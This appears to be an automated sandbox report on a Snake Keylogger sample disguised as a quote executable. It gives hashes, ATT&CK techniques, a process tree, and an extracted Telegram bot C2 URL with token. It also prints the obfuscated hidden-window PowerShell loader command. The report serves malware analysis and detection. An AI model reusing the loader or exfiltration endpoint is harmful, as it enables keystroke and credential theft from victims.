snakekeylogger | 074c9862124fdbf3ee29c3e1f3e5c05f88dfb2ddc741269ebc4c36592dcd98eb

General

Target

Offer-7839373637-8839373-Quote8992832.exe
Size

767KB
MD5

21a5378b2c78f66fff23ec764cba65f2
SHA1

94e2921a8a2e47611c936235b5ba03feecf00fff
SHA256

b23119bb95d44f50e52555f51c9931389d3d559b9f74e34041e9fa6bc2b7f481
SHA512

885aaec0dea4fbf8d46da71bb34f776a8f212e99bf7da7082ef312a1936d46d5b59327c5650a50582df474cae7174dfafe3fa606876d218501f02cd3a25e05d0
SSDEEP

12288:bMwhYlU9blucsKZ1XjfCTD/qp0xmk9qPARcQFY9fcNLqH66cOsFoTvGU5ZqLm:bMwhY+9blYKPGZx0PARxFWfcFqal/F4X

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

C2

https://api.telegram.org/bot7602241848:AAGOG1RAiVBKad-IMDgRf04J_SQO8x6g-hI/sendMessage?chat_id=5302361040

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/4580-227-0x0000000000CE0000-0x0000000001F34000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
764	powershell.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
23	4580	msiexec.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4580	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
764	powershell.exe
4580	msiexec.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\genfortolkende.ini	Offer-7839373637-8839373-Quote8992832.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\Kdebrker\Sttteforeningen.man	Offer-7839373637-8839373-Quote8992832.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4364	4580	WerFault.exe	99

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Offer-7839373637-8839373-Quote8992832.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
764	powershell.exe
764	powershell.exe
764	powershell.exe
764	powershell.exe
764	powershell.exe
764	powershell.exe
764	powershell.exe
764	powershell.exe
764	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
764	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	764	powershell.exe
Token: SeIncreaseQuotaPrivilege	764	powershell.exe
Token: SeSecurityPrivilege	764	powershell.exe
Token: SeTakeOwnershipPrivilege	764	powershell.exe
Token: SeLoadDriverPrivilege	764	powershell.exe
Token: SeSystemProfilePrivilege	764	powershell.exe
Token: SeSystemtimePrivilege	764	powershell.exe
Token: SeProfSingleProcessPrivilege	764	powershell.exe
Token: SeIncBasePriorityPrivilege	764	powershell.exe
Token: SeCreatePagefilePrivilege	764	powershell.exe
Token: SeBackupPrivilege	764	powershell.exe
Token: SeRestorePrivilege	764	powershell.exe
Token: SeShutdownPrivilege	764	powershell.exe
Token: SeDebugPrivilege	764	powershell.exe
Token: SeSystemEnvironmentPrivilege	764	powershell.exe
Token: SeRemoteShutdownPrivilege	764	powershell.exe
Token: SeUndockPrivilege	764	powershell.exe
Token: SeManageVolumePrivilege	764	powershell.exe
Token: 33	764	powershell.exe
Token: 34	764	powershell.exe
Token: 35	764	powershell.exe
Token: 36	764	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 228 wrote to memory of 764	228	Offer-7839373637-8839373-Quote8992832.exe	85
PID 228 wrote to memory of 764	228	Offer-7839373637-8839373-Quote8992832.exe	85
PID 228 wrote to memory of 764	228	Offer-7839373637-8839373-Quote8992832.exe	85
PID 764 wrote to memory of 4580	764	powershell.exe	99
PID 764 wrote to memory of 4580	764	powershell.exe	99
PID 764 wrote to memory of 4580	764	powershell.exe	99
PID 764 wrote to memory of 4580	764	powershell.exe	99

C:\Users\Admin\AppData\Local\Temp\Offer-7839373637-8839373-Quote8992832.exe
"C:\Users\Admin\AppData\Local\Temp\Offer-7839373637-8839373-Quote8992832.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:228
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Electricizes=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\haandbog\Saganashes.Com';$Forbudsbestemmelses=$Electricizes.SubString(52619,3);.$Forbudsbestemmelses($Electricizes)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:764
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:4580
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4580 -s 1520
      4⤵
      Program crash
      PID:4364

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4580 -ip 4580
1⤵
PID:1368

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tx32gtve.qfy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\haandbog\Placid.Sel

Filesize
307KB

MD5
1bed7803db687e44713436a3b1bfa9e7

SHA1
4b3780aac93d35e522adce172a3d2d84c8d471f4

SHA256
ca6d0e27587fce2950cba487f154c9c47e2c668dbeee96328eb439a08febf664

SHA512
dece7d3399b5fb0fca591eb8588cb1a3bd340019db3e376cd321bbfe6993c330af7171602758a20b268bb8572688d1270fe8b2f3f09fc22f72715868d237528a

Download Submit
C:\Users\Admin\AppData\Local\Temp\haandbog\Saganashes.Com

Filesize
51KB

MD5
86971efe48eae4401b734e86152c12aa

SHA1
93376b7df5fa9f5d363e263dd898b86e42e40ec0

SHA256
8e626d6dc0bb24ed272eaec732b70f81e306c38eba28df9e96ce78d61a75e455

SHA512
a04489dfa81e2fe20f1a8f07c562ed4a05f85b74d5745d6cb712252a46f997a7de6c9f11c3fa902c7c7b03f6ff8596e89e064c251b6a348dfb0d3b7ff6a02455

Download Submit
C:\Users\Admin\AppData\Local\orts.lnk

Filesize
1KB

MD5
1e1bef69f6339ea740335ecfb0cd1b61

SHA1
3279a04e17a07bb927a5cd371179e7dce3dc8df6

SHA256
78848c5cfe3a4af9dd67afde510b7ba4cfc9c3051e23a96daf1c8869f335d61d

SHA512
fbfe13937a82109a82d8f3a0d2a703171028440ad48cdeb4941c411d0c94b0f2d1de9f1080ae7b76a1d5d754716753588e89bad764e244217959fb703b7b1809

Download Submit
memory/764-198-0x0000000073C30000-0x00000000743E0000-memory.dmp

Filesize
7.7MB

Download
memory/764-210-0x0000000073C30000-0x00000000743E0000-memory.dmp

Filesize
7.7MB

Download
memory/764-176-0x0000000005E30000-0x0000000005E96000-memory.dmp

Filesize
408KB

Download
memory/764-177-0x0000000005EA0000-0x0000000005F06000-memory.dmp

Filesize
408KB

Download
memory/764-174-0x0000000005700000-0x0000000005D28000-memory.dmp

Filesize
6.2MB

Download
memory/764-187-0x00000000060C0000-0x0000000006414000-memory.dmp

Filesize
3.3MB

Download
memory/764-188-0x0000000006510000-0x000000000652E000-memory.dmp

Filesize
120KB

Download
memory/764-189-0x0000000006A80000-0x0000000006ACC000-memory.dmp

Filesize
304KB

Download
memory/764-190-0x00000000075C0000-0x0000000007656000-memory.dmp

Filesize
600KB

Download
memory/764-191-0x00000000069E0000-0x00000000069FA000-memory.dmp

Filesize
104KB

Download
memory/764-192-0x0000000006A30000-0x0000000006A52000-memory.dmp

Filesize
136KB

Download
memory/764-193-0x0000000007C10000-0x00000000081B4000-memory.dmp

Filesize
5.6MB

Download
memory/764-173-0x0000000073C30000-0x00000000743E0000-memory.dmp

Filesize
7.7MB

Download
memory/764-195-0x0000000008840000-0x0000000008EBA000-memory.dmp

Filesize
6.5MB

Download
memory/764-172-0x0000000004F40000-0x0000000004F76000-memory.dmp

Filesize
216KB

Download
memory/764-197-0x00000000700C0000-0x000000007010C000-memory.dmp

Filesize
304KB

Download
memory/764-209-0x00000000079A0000-0x00000000079BE000-memory.dmp

Filesize
120KB

Download
memory/764-175-0x0000000005560000-0x0000000005582000-memory.dmp

Filesize
136KB

Download
memory/764-199-0x0000000070220000-0x0000000070574000-memory.dmp

Filesize
3.3MB

Download
memory/764-211-0x00000000079D0000-0x0000000007A73000-memory.dmp

Filesize
652KB

Download
memory/764-196-0x0000000007960000-0x0000000007992000-memory.dmp

Filesize
200KB

Download
memory/764-212-0x0000000007AD0000-0x0000000007ADA000-memory.dmp

Filesize
40KB

Download
memory/764-213-0x0000000007B10000-0x0000000007B3A000-memory.dmp

Filesize
168KB

Download
memory/764-214-0x0000000007B40000-0x0000000007B64000-memory.dmp

Filesize
144KB

Download
memory/764-215-0x0000000073C30000-0x00000000743E0000-memory.dmp

Filesize
7.7MB

Download
memory/764-217-0x0000000073C30000-0x00000000743E0000-memory.dmp

Filesize
7.7MB

Download
memory/764-171-0x0000000073C3E000-0x0000000073C3F000-memory.dmp

Filesize
4KB

Download
memory/764-219-0x0000000073C30000-0x00000000743E0000-memory.dmp

Filesize
7.7MB

Download
memory/764-220-0x0000000073C3E000-0x0000000073C3F000-memory.dmp

Filesize
4KB

Download
memory/764-221-0x0000000073C30000-0x00000000743E0000-memory.dmp

Filesize
7.7MB

Download
memory/764-222-0x0000000008EC0000-0x000000000C7AC000-memory.dmp

Filesize
56.9MB

Download
memory/764-223-0x0000000073C30000-0x00000000743E0000-memory.dmp

Filesize
7.7MB

Download
memory/764-224-0x0000000073C30000-0x00000000743E0000-memory.dmp

Filesize
7.7MB

Download
memory/764-226-0x0000000073C30000-0x00000000743E0000-memory.dmp

Filesize
7.7MB

Download
memory/4580-227-0x0000000000CE0000-0x0000000001F34000-memory.dmp

Filesize
18.3MB

Download

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